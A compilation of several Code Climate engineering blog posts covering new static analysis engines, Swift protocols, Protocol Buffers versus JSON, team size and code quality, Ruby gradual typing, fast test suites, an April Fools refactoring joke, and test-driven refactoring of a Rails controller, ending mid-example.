In addition, we’re proud to release eight new static analysis engines that you can start using with Code Climate today:

• Gofmt, Govet and Golint - The official style, bug and lint checkers from the Go team
• CoffeeLint - Style checking for the CoffeeScript dialect of JavaScript
• CSSLint - Style checking for all CSS stylesheets
• Rubocop - Style and quality checks for Ruby code (including support for RRuby 2.2+)
• ESLint - Linting and style checking for your modern EcmaScript/JavaScript code
• Bundler Audit - Find security vulnerabilities in your Ruby dependencies
• PHP CodeSniffer - Style checking for PHP

Healthy Code Ships Faster

In many ways, our new platform is a culmination of the experience we’ve gained over the past four years building and operating the most popular static analysis app. We’re excited to bring this to you, and look forward to continuing to bring you the best tools to ship better code, faster. If you want to try out the new Code Climate, download our CLI to get started. We’d love to hear what you think!

Discuss on Hacker News

In this post I’ll take a look at three of the program design constructs that Swift provides: Classes, Structures, and Protocols. I’ll discuss how they can contribute to well-designed Object-Oriented (OO) programs in a way that might be interesting to dynamic language programmers, and show how aspects of their design reflect concerns of the platform for which they were developed.

Classes and Structures

The best source of information about Swift so far is The Swift Programming Language, a free e-book provided by Apple. It contains a first pass introduction to the language, a language reference, and a good deal of example code. After introducing the basic facilities of the language - its philosophy, the basic available types and data structures, control flow, closures, and so on - we get to the section on Classes and Structures.

“Classes and structures are general-purpose, flexible constructs that become the building blocks of your program’s code.” [1]

This sounds similar to the functionality of a Class or Module in Ruby. From this list of the features of Classes and Structures, we see even more similarities. Classes and Structures can both:

• Define properties to store values
• Define methods to provide functionality
• Define initializers to set up their initial state
• Be extended to expand their functionality beyond a default implementation

This means that Swift provides similar functionality to familiar OO Programming Languages. We can model problems using objects which can encapsulate data and functionality, and build complex relationships between these objects in a modular fashion. Curious readers might have the same reaction to this as I did - if it’s the case that both classes and structures can do the above, which is a reasonable set of functionality to expect from classes, why are there two constructs? What are the differences between them, and why does Swift as a programming language need both?

First, let’s take a look at what Classes can do that Structures cannot. Classes provide functionality for two crucial pieces of OO functionality that Ruby developers, for instance, tend to rely on somewhat heavily:

• Inheritance, where one class can inherit the characteristics of another
• Type casting, where you can check and interpret the type of a class instance at runtime

Additionally, classes provide the following facilities which are stated in terms familiar to those with experience managing resources and memory manually:

• Deinitializers, to enable an instance of a class to free up any resources it has assigned
• Reference counting, to allow for more than one reference to a class instance

Stated in other terms, inheritance, type casting, deinitializers, and reference counting make it possible to expressively create designs which employ the full compliment of OO techniques.

From my perspective, Classes and Structures have just the right amount of overlap in functionality, leaving enough room for developers to make reasoned decisions about which construct to employ according to the purpose it may be used for. The differences hinge on how instances of Classes and Structures are represented in memory after they are initialized – structure instances are always passed by value and class instances are always passed by reference. This distinction is something that dynamic language developers typically do not have to spend much time thinking about - on a mobile platform, however, this kind of thinking becomes very important.

Different memory semantics is not the only advantage of having these distinct types, however. Because structures are simpler than classes, and cannot be as heavily modified after declaration, they provide an opportunity to create value objects which represent pieces of data independent from their behavior. This is very useful.

While Classes and Structures cover much of the familiar ground with respect to OO functionality in Ruby or Python, there is one more construct that might not be so familiar that I’d like to point out before we draw any conclusions on Swift’s OO design capabilities.

Protocols

Protocols are an interesting addition to the already rich world of classes and structures. They provide a way to define behavior separately from the classes which implement them:

“A protocol defines a blueprint of methods, properties, and other requirements that suit a particular task or piece of functionality”

Similar constructs exist in Java, Go, and other languages, but many dynamic languages do not embrace this design style. Protocols embrace flexible design by encapsulating the necessary data and behavior for a domain idea outside the scope of a Class or Structure definition. This means that a concept can be represented separately from its implementation, allowing for more creative reuse, composition, and more.

To illustrate the usefulness of Protocols, consider the development of a small networked process to record some information from a system over time. You might want to have the system write to a Key-Value store, or to disk, or to STDOUT, depending on a variety of circumstances. In this case, you would simply define a Protocol:

protocol BackEnd {
    func get(Int) -> Int
    func set(Int) -> Bool
}

This protocol requires that anything which implements them must contain at least two instance methods - get, which accepts an Integer and returns an Integer, and set, which accepts an Integer and returns a Boolean value. A class that implements this Protocol might look something like the following:

class RedisBackEnd : BackEnd {
    func get(id: Int) -> Int {
        // Get 'val' from Redis based on 'id'
        let val = getFromRedis(id)
        return val
    }

    func set(val: Int) -> Bool {
        // Store 'val' in Redis here
        let boolFromRedis = storeInRedis(val)
        return boolFromRedis
    }
}

You could imagine similar classes for the other backends I mentioned above. This is a very convenient solution for swapping out backends when you need to run your process in different locations and under different circumstances - simply implement new ones as needed, and pass them in wherever a Backend is needed.

Defining a Protocol and implementing it is really the tip of the iceberg, however - things can get very subtle and complex. Protocols can be treated as types, and intricate hierarchies can be created with them. While it is interesting to look through the Swift book to see these examples, I don’t believe they are the real selling points of protocols. Used simply and in combination with classes and structures, protocols provide a missing piece of the design puzzle that often vexes programmers in dynamic languages.

Conclusion

Swift is a very interesting programming language that at first blush appears to have all of the necessary components to build expressive OO programs. In addition to classes, structures, and protocols, Ruby developers might also want to look into Extensions which offer mixin-like capabilities.

Whether you prefer inheritance, composition, or even a more esoteric SmallTalk style flavor of OO, it seems that Swift will be able to support you. What kinds of domains have you modeled in Ruby that you’d like to try in Swift? Do you notice any shortcomings? If you were to try to translate a program from Ruby, Python, or JavaScript to swift, do you think it would be easy? Would it change the way you think about program design? I’d love to hear more - to the comments!

Works Cited

[1] Apple Inc. “The Swift Programming Language.” iBooks.

Where browsers and JavaScript are not consuming the data directly – particularly in the case of internal services – it’s my opinion that structured formats, such as Google’s Protocol Buffers, are a better choice than JSON for encoding data. If you’ve never seen Protocol Buffers before, you can check out some more information here, but don’t worry - I’ll give you a brief introduction to using them in Ruby before listing the reasons why you should consider choosing Protocol Buffers over JSON for your next service.

A Brief Introduction to Protocol Buffers

First of all, what are Protocol Buffers? The docs say:

“Protocol Buffers are a way of encoding structured data in an efficient yet extensible format.”

Google developed Protocol Buffers for use in their internal services. It is a binary encoding format that allows you to specify a schema for your data using a specification language, like so:

message Person {
  required int32 id = 1;
  required string name = 2;
  optional string email = 3;
}

You can package messages within namespaces or declare them at the top level as above. The snippet defines the schema for a Person data type that has three fields: id, name, and email. In addition to naming a field, you can provide a type that will determine how the data is encoded and sent over the wire - above we see an int32 type and a string type. Keywords for validation and structure are also provided (required and optional above), and fields are numbered, which aids in backward compatibility, which I’ll cover in more detail below.

The Protocol Buffers specification is implemented in various languages: Java, C, Go, etc. are all supported, and most modern languages have an implementation if you look around. Ruby is no exception and there are a few different Gems that can be used to encode and decode data using Protocol Buffers. What this means is that one spec can be used to transfer data between systems regardless of their implementation language.

For example, installing the ruby-protocol-buffers Ruby Gem installs a binary called ruby-protoc that can be used in combination with the main Protocol Buffers library (brew install protobuf on OSX) to automatically generate stub class files that are used to encode and decode your data for you. Running the binary against the proto file above yields the following Ruby class:

#!/usr/bin/env ruby
# Generated by the protocol buffer compiler. DO NOT EDIT!
require 'protocol_buffers'

# forward declarations
class Person < ::ProtocolBuffers::Message; end

class Person < ::ProtocolBuffers::Message
  set_fully_qualified_name "Person"

  required :int32, :id, 1
  required :string, :name, 2
  optional :string, :email, 3
end

As you can see, by providing a schema, we now automatically get a class that can be used to encode and decode messages into Protocol Buffer format (inspect the code of the ProtocolBuffers::Message base class in the Gem for more details). Now that we’ve seen a bit of an overview, let’s dive in to the specifics a bit more as I try to convince you to consider taking a look at Protocol Buffers - here are five reasons to start.

Reason #1: Schemas Are Awesome

There is a certain painful irony to the fact that we carefully craft our data models inside our databases, maintain layers of code to keep these data models in check, and then allow all of that forethought to fly out the window when we want to send that data over the wire to another service. All too often we rely on inconsistent code at the boundaries between our systems that don’t enforce the structural components of our data that are so important. Encoding the semantics of your business objects once, in proto format, is enough to help ensure that the signal doesn’t get lost between applications, and that the boundaries you create enforce your business rules.

Reason #2: Backward Compatibility For Free

Numbered fields in proto definitions obviate the need for version checks which is one of the explicitly stated motivations for the design and implementation of Protocol Buffers. As the developer documentation states, the protocol was designed in part to avoid “ugly code” like this for checking protocol versions:

if (version == 3) {
  ...
} else if (version > 4) {
  if (version == 5) {
    ...
  }
  ...
}

With numbered fields, you never have to change the behavior of code going forward to maintain backward compatibility with older versions. As the documentation states, once Protocol Buffers were introduced:

“New fields could be easily introduced, and intermediate servers that didn’t need to inspect the data could simply parse it and pass through the data without needing to know about all the fields.”

Having deployed multiple JSON services that have suffered from problems relating to evolving schemas and backward compatibility, I am now a big believer in how numbered fields can prevent errors and make rolling out new features and services simpler.

Reason #3: Less Boilerplate Code

In addition to explicit version checks and the lack of backward compatibility, JSON endpoints in HTTP based services typically rely on hand-written ad-hoc boilerplate code to handle the encoding and decoding of Ruby objects to and from JSON. Parser and Presenter classes often contain hidden business logic and expose the fragile nature of hand parsing each new data type when a stub class as generated by Protocol Buffers (that you generally never have to touch) can provide much of the same functionality without all of the headaches. As your schema evolves so too will your proto generated classes (once you regenerate them, admittedly), leaving more room for you to focus on the challenges of keeping your application going and building your product.

Reason #4: Validations and Extensibility

The required, optional, and repeated keywords in Protocol Buffers definitions are extremely powerful. They allow you to encode, at the schema level, the shape of your data structure, and the implementation details of how classes work in each language are handled for you. The Ruby protocol_buffers library will raise exceptions, for example, if you try to encode an object instance which does not have the required fields filled in. You can also always change a field from being required to being optional or vice-versa by simply rolling to a new numbered field for that value. Having this kind of flexibility encoded into the semantics of the serialization format is incredibly powerful.

Since you can also embed proto definitions inside others, you can also have generic Request and Response structures which allow for the transport of other data structures over the wire, creating an opportunity for truly flexible and safe data transfer between services. Database systems like Riak use protocol buffers to great effect - I recommend checking out their interface for some inspiration.

Reason #5: Easy Language Interoperability

Because Protocol Buffers are implemented in a variety of languages, they make interoperability between polyglot applications in your architecture that much simpler. If you’re introducing a new service with one in Java or Go, or even communicating with a backend written in Node, or Clojure, or Scala, you simply have to hand the proto file to the code generator written in the target language and you have some nice guarantees about the safety and interoperability between those architectures. The finer points of platform specific data types should be handled for you in the target language implementation, and you can get back to focusing on the hard parts of your problem instead of matching up fields and data types in your ad hoc JSON encoding and decoding schemes.

When Is JSON A Better Fit?

There do remain times when JSON is a better fit than something like Protocol Buffers, including situations where:

• You need or want data to be human readable
• Data from the service is directly consumed by a web browser
• Your server side application is written in JavaScript
• You aren’t prepared to tie the data model to a schema
• You don’t have the bandwidth to add another tool to your arsenal
• The operational burden of running a different kind of network service is too great

And probably lots more. In the end, as always, it’s very important to keep tradeoffs in mind and blindly choosing one technology over another won’t get you anywhere.

Conclusion

Protocol Buffers offer several compelling advantages over JSON for sending data over the wire between internal services. While not a wholesale replacement for JSON, especially for services which are directly consumed by a web browser, Protocol Buffers offers very real advantages not only in the ways outlined above, but also typically in terms of speed of encoding and decoding, size of the data on the wire, and more.

What are some services you could extract from your monolithic application now? Would you choose JSON or Protocol Buffers if you had to do it today? We’d love to hear more about your experiences with either protocol in the comments below - let’s get discussing!

Toward that end, this is the first post in a series intended to explore Code Climate’s data set in ways that can deepen our understanding of software engineering, and hopefully quench some people’s curiosities as well. We have lots of questions to ask of our data set, and we know that our users have lots of their own, but we wanted to start with one that’s fundamental to Code Climate’s mission, and that we’re asked a lot:

Does Team Size Impact Code Quality?

Is it true that more developers means more complexity? Is there an ideal number of developers for a team? What can we learn from this? Let’s find out!

The Methodology

There are a variety of different ways that this question can be interpreted, even through the lens of our data set. Since this is the first post in a series, and we’re easing into this whole “data science” thing, I decided to start with something pretty straightforward - plotting author count against Code Climate’s calculated GPA for a repo.

Author count is calculated by summing the authors present in commits over a given period, in this case 30 days. The GPA is calculated by looking up the most recent quality report for a repo and using the GPA found there. Querying this data amounted to a few simple lines of Ruby code to extract from our database, including exporting the data as a CSV for processing elsewhere.

I decided to limit the query to our private repositories because the business impact of the answer to the question at hand seems potentially significant. By analyzing private repositories we will be able to see many more Rails applications than are available in Open Source, and additionally, the questions around Open Source repos are manifold and deserve to be treated separately.

Please note that the data I’m presenting is completely anonymized and amounts to aggregate data from which no private information can be extrapolated.

Once I had the information in an easily digestible CSV format, I began to plot the data in a program called Wizard, which makes statistical exploration dead simple. I was able to confirm that there was a negative correlation between the size of a team and the Code Climate GPA, but the graph it produces isn’t customizable enough to display here. From there I went to R, where a few R wizard friends of mine helped me tune a few lines of code that transform the CSV into the graph below:

The fit line above indicates that there is indeed an indirect relationship between code quality and team size. While not a very steep curve, the line shows that a decline of over 1 GPA point is possible when team sizes grow beyond a certain point; let’s dig a little deeper into this data.

The graph is based on data from 10,000 observations, where each is a distinct repo and the GPA measurement and author count measurements are the latest available. The statistical distributions of the two columns show that the data needed some filtering. For example, the GPA summary seems quite reasonable:

> summary(observations$GPA)
   Min. 1st Qu.  Median    Mean  3rd Qu.    Max.
  0.000   2.320   3.170   2.898    3.800   4.000

As you would expect, a pretty healthy distribution of GPAs. The author count, on the other hand, is pretty out of whack:

> summary(observations$AuthorCount)
   Min. 1st Qu.  Median    Mean  3rd Qu.     Max.
  1.000   1.000   2.000   3.856   4.000   130.000

The 3rd Quantile ranges 4-130! That’s way too big of a spread, so I’ve corrected for that a bit by filtering the max to 50 in the graph above. This gives enough of a trend to show how new teams may tend to fall according to the model, but doesn’t completely blow it out with outliers. After working on this graph with the full data set and showing it to a couple people, some themes emerged:

• The data should be binned, with 10+ authors being the largest team size
• Lines or bars could be used to show the “density” of GPAs for a specific binned team size

Some CSV and SQL magic made it pretty straightforward to bin the data, which can then be plotted in R using a geometric density function applied to team sizes per GPA score. This lets us see areas of concentration of GPA scores per team size bin.

Now that the team sizes are broken up into smaller segments, we can see some patterns emerge. It appears easier to achieve a 4.0 GPA if you are a solo developer and additionally, the density of teams greater than 10 concentrates under the 3.0 GPA mark. This is a much richer way to look at the data than the scatterplot above and I learned a lot comparing the two approaches.

Nice first impressions, but now that we’ve seen the graphs, what can we learn?

Conclusions

How to interpret the results of this query is quite tricky. On one hand, there does appear to be a correlation supporting the notion that smaller teams can produce more organized code. On the other hand, the strength of this correlation is not extreme, and it is worth noting that teams of up to 10, 20, and 30 members are capable of maintaining very respectable GPAs which are greater than 3.0 (recall from the summary above that the mean GPA is 2.898 and that only the top 25% score greater than 3.8).

The scatterplot graph shows a weak fit line which suggests a negative correlation, while the density line graph (which could also be rendered with bars) shows that teams of up to 10 members have an easier time maintaining a 3.0+ GPA than teams with more than 10 members. Very intriguing.

It is worth considering what other factors could be brought into play when it comes to this model. Some obvious contenders include the size of the code base, the age of the code base, and the number of commits in a given period. It’s also worth looking into how this data would change if all of the historical data was pulled up, to sum the total number of authors over the life of a project.

One conclusion to draw might be that recent arguments for breaking down large teams into smaller, service oriented teams may have some statistical backing. If we wanted to be as scientific about it as possible, we can look at how productive teams tend to be in certain size ranges and produce an ideal team size as a function of productivity and 75% percentile quality scores. Teams can be optimized to produce a certain amount of code of a certain quality for a certain price - but now we’re sounding a little creepy.

My take is that this data supports what most developers already know - that large teams with large projects are hard to keep clean; that’s why we work as hard as we do. If you’re nearing that 10-person limit, know that you’ll have to work extra hard to beat the odds and have a higher than 3.0 GPA.

On a parting note, we are sure that there are more sophisticated statistical analyses that could be brought to bear on this data, which is why we have decided to publish the data set and the code for this blog post here. Check it out and let us know if you do anything cool with it!

Special thanks to Allen Goodman (@goodmanio), JD Maturen (@jdmaturen), and Leif Walsh (@leifw) for their code and help and to Julia Evans (@b0rk) for the inspiration.

After spending some time looking into other languages and language communities, it’s my belief that as Ruby developers, we are missing out on a third crucial tool that can extend our design capabilities, giving us richer tools with which to reason about our programs. This tool is a rich type system.

To be clear, I am in no way saying that tests and documentation do not have value, nor am I saying that the addition of a modern type system to Ruby is necessary for a certain class of applications to succeed – the number of successful businesses started with Ruby and Rails is proof enough. Rather, I am saying that a richer type system with a well designed type-checker could give our design several advantages that are hard to accomplish with tests and documentation alone:

• Truly executable documentation

  Types declared for methods or fields are enforced by the type checker. Annotated classes are easy to parse by developers and documentation can be extracted from type annotations.

• Stable specification

  Tests which assert the input and return values of methods are brittle, raise confusing errors, and bloat test suites; documentation gets out of sync. Type annotations change with your implementation and can help maintain interface stability.

• Meaningful error messages

  Type checkers are valuable in part because they bridge the gap between the code and the meaning of a program. Error messages which inform you not only that you made a mistake, but how (and potentially how to fix it) are possible with the right tools.

• Type driven design

  Considering the design of a module of a program through its types can be an interesting exercise. With advancements in type checking and inference for dynamic programming languages, it may be possible to rely on these tools to help guide our program design.

Integrating traditional typing into a dynamic language like Ruby is inherently challenging. However, in searching for a way to integrate these design advantages into Ruby programs, I have come across a very interesting body of research about “gradual typing” systems. These systems exist to include, typically on a library level, the kinds of type checking and inference functionality that would allow Ruby developers to benefit from typing without the expected overhead. [1]

In doing this research I was pleasantly surprised to find that four researchers from the University of Maryland’s Department of Computer Science have designed such a system for Ruby, and have published a paper summarizing their work. It is presented as “The Ruby Type Checker” which they describe as “…a tool that adds type checking to Ruby, an object-oriented, dynamic scripting language.” [2] Awesome, let’s take a look at it!

The Ruby Type Checker

The implementation of the Ruby Type Checker (rtc) is described by the authors as “a Ruby library in which all type checking occurs at run time; thus it checks types later than a purely static system, but earlier than a traditional dynamic type system.” So right away we see that this tool isn’t meant to change the principal means of development relied on by Ruby developers, but rather to augment it. This is similar to how we think about Code Climate - as a tool which brings information about problems in your code earlier in your process.

What else can it do? A little more from the abstract:

“Rtc supports type annotations on classes, methods, and objects and rtc provides a rich type language that includes union and intersection types, higher- order (block) types, and parametric polymorphism among other features.”

Awesome. Reading a bit more into the paper we see that rtc operates by two main mechanisms:

1. Compiling field and method annotations to a data structure that is later used for checks
2. Optionally proxying calls through a system that gathers type information, allowing type errors to be raised on method entry and exit

So now let’s see how these mechanisms might be used in practice. We’ll walk through the ways that you can annotate the type of a class’s fields, and show what method type declarations look like.

First, field annotations on a class look like this:

class Foo
  typesig('@title: String')
  attr_accessor :title
end

And method annotations should look familiar to you if you’ve seen type declarations for methods in other languages:

class Foo
  typesig("self.build: (Hash) -> Post")
  def self.build(attrs)
    # ... method definition
  end
end

Where the input type appears in parens, and then the return type appears after the -> arrow that represents function application.

Similar to the work in typed Clojure and typed Racket (two of the more well-developed ‘gradual’ type systems), rtc is available as a library and can be used or not used a la carte. This flexibility is fantastic for Ruby developers. It means that we can isolate parts of our programs which might be amenable to type-driven design, and selectively apply the kinds of run time guarantees that type systems can give us, without having to go whole hog. Again, we don’t have to change the entire way we work, but we might augment our tools with just a little bit more.

How Would We Use Gradual Typing?

Asking the following question on Twitter got me A LOT of opinions, perhaps unsurprisingly:

What are the canonical moments of “Damn, I wish I had types here?” in a dynamic language?

— mrb (@mrb_bk) April 29, 2014

The answers ranged from “never” to “always” to more thoughtful responses such as “during refactoring” or “when dealing with data from the outside world.” The latter sounded like a use case to me, so I started daydreaming about what a type checked model in a Rails application would look like, especially one that was primarily accessed through a controller that serves a JSON API.

Let’s look at a Post class:

class Post
  include PersistenceLogic

  attr_accessor :id
  attr_accessor :title
  attr_accessor :timestamp
end

This post class includes some PersistanceLogic so that you can write:

Post.create({id: "foo", title: "bar", timestamp: 1398822693})

And be happy with yourself, secure that your data is persisted. To wire this up to the outside world, now imagine that this class is hooked up via a PostsController:

class PostsController
  def create
    Post.create(params[:post])
  end
end

Let’s assume that we don’t need to be concerned about security here (though that’s something that a richer type system can potentially help us with as well). This PostsController accepts some JSON:

{
  "post": {
    "id": "0f0abd00",
    "title": "Cool Story",
    "timestamp": "1398822693"
  }
}

And instead of having to write a bunch of boilerplate code around how to handle timestamp coming in as a string, or title not being present, etc. you could just write:

class Post
  rtc_annotated
  include PersistenceLogic

  typesig('@id: String')
  attr_accessor :id

  typesig('@title: String')
  attr_accessor :title

  typesig('@timestamp: Fixnum')
  attr_accessor :timestamp
end

Which might lead you to want a type-checked build method (rtc_annotate triggers type checking on a specific object instance):

class Post
  rtc_annotated
  include PersistenceLogic

  typesig('@id: String')
  attr_accessor :id

  typesig('@title: String')
  attr_accessor :title

  typesig('@timestamp: Fixnum')
  attr_accessor :timestamp

  typesig("self.build: (Hash) -> Post")
  def self.build(attrs)
    post           = new.rtc_annotate("Post")
    post.id        = attrs.delete(:id)
    post.title     = attrs.delete(:title)
    post.timestamp = attrs.delete(:timestamp)
  end
end

But, oops! When you run it you see that you didn’t write that correctly:

[2] pry(main)> Post.build({id: "0f0abd00", title: "Cool Story",
timestamp: 1398822693}) Rtc::TypeMismatchException: invalid return type
in build, expected Post, got Fixnum

You can fix that:

class Post
  rtc_annotated
  include PersistenceLogic

  typesig('@id: String')
  attr_accessor :id

  typesig('@title: String')
  attr_accessor :title

  typesig('@timestamp: Fixnum')
  attr_accessor :timestamp

  typesig("self.build: (Hash) -> Post")
  def self.build(attrs)
    post           = new.rtc_annotate("Post")
    post.id        = attrs.delete(:id)
    post.title     = attrs.delete(:title)
    post.timestamp = attrs.delete(:timestamp)
    post
  end
end

Okay let’s run it with that test JSON:

Post.build({ id: "0f0abd00",
             title: "Cool Story",
             timestamp: "1398822693" })

Whoah, whoops!

Rtc::TypeMismatchException: In method timestamp=, annotated types are
[Rtc::Types::ProceduralType(10): [ (Fixnum) -> Fixnum ]], but actual
arguments are ["1398822693"], with argument types [NominalType(1)<String>]
for class Post

Ah, there ya go:

class Post
  rtc_annotated
  include PersistenceLogic

  typesig('@id: String')
  attr_accessor :id

  typesig('@title: String')
  attr_accessor :title

  typesig('@timestamp: Fixnum')
  attr_accessor :timestamp

  typesig("self.build: (Hash) -> Post")
  def self.build(attrs)
    post           = new.rtc_annotate("Post")
    post.id        = attrs.delete(:id)
    post.title     = attrs.delete(:title)
    post.timestamp = attrs.delete(:timestamp).to_i
    post
  end
end

So then you could say:

Post.build({ id: "0f0abd00",
             title: "Cool Story",
             timestamp: "1398822693" }).save

And be type-checked, guaranteed, and on your way.

Just a Taste

The idea behind this blog post was to get Ruby developers thinking about some of the advantages of using a sophisticated type checker that could programmatically enforce the kinds of specifications that are currently leveraged by documentation and tests. Through all of the debate about how much we should be testing and what we should be testing, we have been potentially overlooking another very sophisticated set of tools which can help augment our designs and guarantee the soundness of our programs over time.

The Ruby Type Checker alone will not give us all of the tools that we need, but it gives us a taste of what is possible with more focused attention on types from the implementors and users of the language.

Works Cited

[1] Gradual typing bibliography

[2] The ruby type checker [pdf]

When you start a new project, automated tests are a wonderful thing. You can run your comprehensive test suite in a couple of minutes and have real confidence when refactoring, knowing that your code has really good test coverage.

However, as you add more tests over time, the test suite invariably slows. And as it slows, it actually becomes less valuable — not more. Sure, it’s great to have good test coverage, but if your tests take more than about 5 minutes to run, your developers either won’t run them often, or will waste lots of time waiting for them to complete. By the time tests hit fifteen minutes, most devs will probably just rely on a CI server to let them know if they’ve broken the build. If your test suite exceeds half an hour, you’re probably going to have to break out your tests into levels and run them sequentially based on risk – making it more complex to manage and maintain, and substantially increasing the time between creating and noticing bugs, hampering flow for your developers and increasing debugging costs.

The question then is how to speed up your test suite. There are a several ways to approach the problem. A good starting point is to give your test suite a spring clean. Reduce the number of tests by rewriting those specific to particular stories as “user journeys”. A complex, multi-page registration feature might be broken down into a bunch of smaller user stories while being developed, but once it’s done you should be able to remove lots of the story-specific acceptance tests, replacing them with a handful of high level smoke tests for the entire registration flow, adding in some faster unit tests where required to keep the comprehensiveness of the test suite.

In general it’s also worth looking at your acceptance tests and seeing how many of them could be tested at a lower level without having to spin up the entire app, including the user interface and the database.

Consider breaking out your model logic and treating your active record models as lightweight Data Access Objects. One of my original concerns when moving to Rails was the coupling of data access and model logic and it’s nice to see a trend towards separating logic from database access. A great side effect is a huge improvement in the speed of your “unit” tests as, instead of being integration tests which depend on the database, they really will just test the functionality in the methods you’re writing.

It’s also worth thinking more generally about exactly what is being spun up every time you run a particular test. Do you really need to connect to an internal API or could you just stub or mock it out? Do you really need to create a complex hairball of properly configured objects to test a method or could you make your methods more functional, passing more information in explicitly rather than depending so heavily on local state? Moving to a more functional style of coding can simplify and speed up your tests while also making it easier to reason about your code and to refactor it over time.

Finally, it’s also worth looking for quick wins that allow you to run the tests you have more quickly. Spin up a bigger instance on EC2 or buy a faster test box and make sure to parallelize your tests so they can leverage multiple cores on developers laptops and, if necessary, run across multiple machines for CI.

If you want to ensure your tests are run frequently, you’ve got to keep them easy and fast to run. Hopefully, by using some of the practices above, you’ll be able to keep your tests fast enough that there’s no reason for your dev team not to run them regularly.

Today, we’re significantly streamlining the development process with our new Automated, 1-Click Refactoring feature.

Compared to the legacy approach of refactoring by hand, Automated Refactoring provides many advantages:

1. Saves lots of time by replacing nuanced discussion with a definitive solution
2. Appeases your CTO who has imposed an arbitrary, ill-defined requirement that all features must be “refactored” before they are shipped
3. Works when you’re too lazy to go talk to that guy who worked on that thing one time
4. Boosts your Git commit stats to get a bigger bonus at the end of the year
5. As a substitute for head desk-inducing conversations with difficult team members

Here’s what David Heinemeier Hansson (DHH) had to say after testing it out:

“When most programmers refactor, they produce shit. Code Climate’s automated refactoring tool produces code that is decidedly not shit.”

Automated Refactoring is in public beta for all Code Climate customers, and select Open Source repos. To see it in action, navigate to a class you’ve been struggling to refactor and click the magic wand:

Automated Refactoring is free during our public beta period. Pricing is yet to be determined, but will be significant.

Editor’s Note: Automated Refactoring is no longer available. After April 1st, we determined that the feature was too revolutionary, and it was taken down. For posterity, the revolution was captured on YouTube.

The act of writing a unit test is more an act of design than of verification. - Bob Martin

A still common misconception is that test-driven development (TDD) is about testing; that by adhering to TDD you can minimize the probability of going astray and forgetting to write tests by mandating that is the first thing we need to do. While I’d pick a solution that’s designed for mere mortals over one that assumes we are superhuman any day, the case here is a bit different. TDD is designed to make us think about our code before writing it, using automated tests as a vehicle — which is, by the way, so much better than firing up the debugger to make sure that every code connected to a certain feature is working as expected. The goal of TDD is better software design. Tests are a byproduct.

Through the act of writing a test first, we ponder on the interface of the object under test, as well as of other objects that we need but that do not yet exist. We work in small, controllable increments. We do not stop the first time the test passes. We then go back to the implementation and refactor the code to keep it clean, confident that we can change it any way we like because we have a test suite to tell us if the code is still correct.

Anyone who’s been doing this has found their code design skills challenged and sharpened. Questions like agh maybe that private code shouldn’t be private or is this class now doing too much are constantly flying through your mind.

Test-driven refactoring

The red-green-refactor cycle may come to a halt when you find yourself in a situation where you don’t know how to write a test for some piece of code, or you do, but it feels like a lot of hard work. Pain in testing often reveals a problem in code design, or simply that you’ve come across a piece of code that was not written with the TDD approach. Some smells in test code are frequent enough to be called an anti-pattern and can identify an opportunity to refactor, both test and application code.

Take, for example, a complex test setup in a Rails controller spec.

describe VenuesController do

  let(:leaderboard) { mock_model(Leaderboard) }
  let(:leaderboard_decorator) { double(LeaderboardDecorator) }
  let(:venue) { mock_model(Venue) }

  describe "GET show" do

    before do
      Venue.stub_chain(:enabled, :find) { venue }
      venue.stub(:last_leaderboard) { leaderboard }
      LeaderboardDecorator.stub(:new) { leaderboard_decorator }
    end

    it "finds venue by id and assigns it to @venue" do
      get :show, :id => 1
      assigns[:venue].should eql(venue)
    end

    it "initializes @leaderboard" do
      get :show, :id => 1
      assigns[:leaderboard].should == leaderboard_decorator
    end

    context "user is logged in as patron" do

      include_context "patron is logged in"

      context "patron is not in top 10" do

        before do
          leaderboard_decorator.stub(:include?).and_return(false)
        end

        it "gets patron stats from leaderboard" do
          patron_stats = double
          leaderboard_decorator.should_receive(:patron_stats).and_return(patron_stats)
          get :show, :id => 1
          assigns[:patron_stats].should eql(patron_stats)
        end
      end
    end

    # one more case omitted for brevity
  end
end

The controller action is technically not very long:

class VenuesController < ApplicationController

  def show
    begin
      @venue = Venue.enabled.find(params[:id])
      @leaderboard = LeaderboardDecorator.new(@venue.last_leaderboard)

      if logged_in? and is_patron? and @leaderboard.present? and not @leaderboard.include?(@current_user)
        @patron_stats = @leaderboard.patron_stats(@current_user)
      end
    end
  end
end

Notice how the extensive spec setup code basically led the developers to forget to write expectations that Venue.enabled.find is called, or LeaderboardDecorator.new is given a correct argument, for example. It is not clear if the assigned @leaderboard comes from the assigned venue at all.

Trapped in the MVC paradigm, the developers (myself included) were adding up some deep business logic in the controller, making it hard to write a good spec and thus maintain both of them. The difficulty comes from the fact that even a one-line Rails controller method does many things:

def show
  @venue = Venue.find(params[:id])
end

That method is:

• extracting parameters;
• calling an application-specific method;
• assigning a variable to be used in the view template; and
• rendering a response template.

Adding code that reaches deep inside the database and business rules can only turn a controller method into a mess.

The controller above includes one if statement with four conditions. A full spec, then, should include 15 combinations just for this one part of code. Of course they were not written. But things could be different, if this code was outside the controller.

Let’s try to imagine what a better version of the controller spec would look like, and what interfaces it would prefer to work with in order to carry its’ job of processing the incoming request and preparing a response.

describe VenuesController do

  let(:venue) { mock_model(Venue) }

  describe "GET show" do

    before do
      Venue.stub(:find_enabled) { venue }
      venue.stub(:last_leaderboard)
    end

    it "finds the enabled venue by given id" do
      Venue.should_receive(:find_enabled).with(1)
      get :show, :id => 1
    end

    it "assigns the found @venue" do
      get :show, :id => 1
      assigns[:venue].should eql(venue)
    end

    it "decorates the venue's leaderboard" do
      leaderboard = double
      venue.stub(:last_leaderboard) { leaderboard }
      LeaderboardDecorator.should_receive(:new).with(leaderboard)

      get :show, :id => 1
    end

    it "assigns the @leaderboard" do
      decorated_leaderboard = double
      LeaderboardDecorator.stub(:new) { decorated_leaderboard }

      get :show, :id => 1

      assigns[:leaderboard].should eql(decorated_leaderboard)
    end
  end
end

Where did all the other code go? We’re simplifying the find logic by extending the model:

describe Venue do

  describe ".find_enabled" do

    before do
      @enabled_venue = create(:venue, :enabled => true)
      create(:venue, :enabled => true)
      create(:venue, :enabled => false)
    end

    it "finds within the enabled scope" do
      Venue.find_enabled(@enabled_venue.id).should eql(@enabled_venue)
    end
  end
end

The various if statements can be simplified as follows:

• if logged_in? - variations on this can be decided in the view template;
• if @leaderboard.present? - obsolete, the view can decide what to do if it is not;
• The rest can be moved to the decorator class under a new, more descriptive method.

describe LeaderboardDecorator do

  describe "#includes_patron?" do

    context "user is not a patron" { }

    context "user is a patron" do
      context "user is on the list" { }
      context "user is NOT on the list" { }
    end
  end
end

This new method will help the view decide whether or not to render @leaderboard.patron_stats, which we do not need to change:

# app/views/venues/show.html.erb
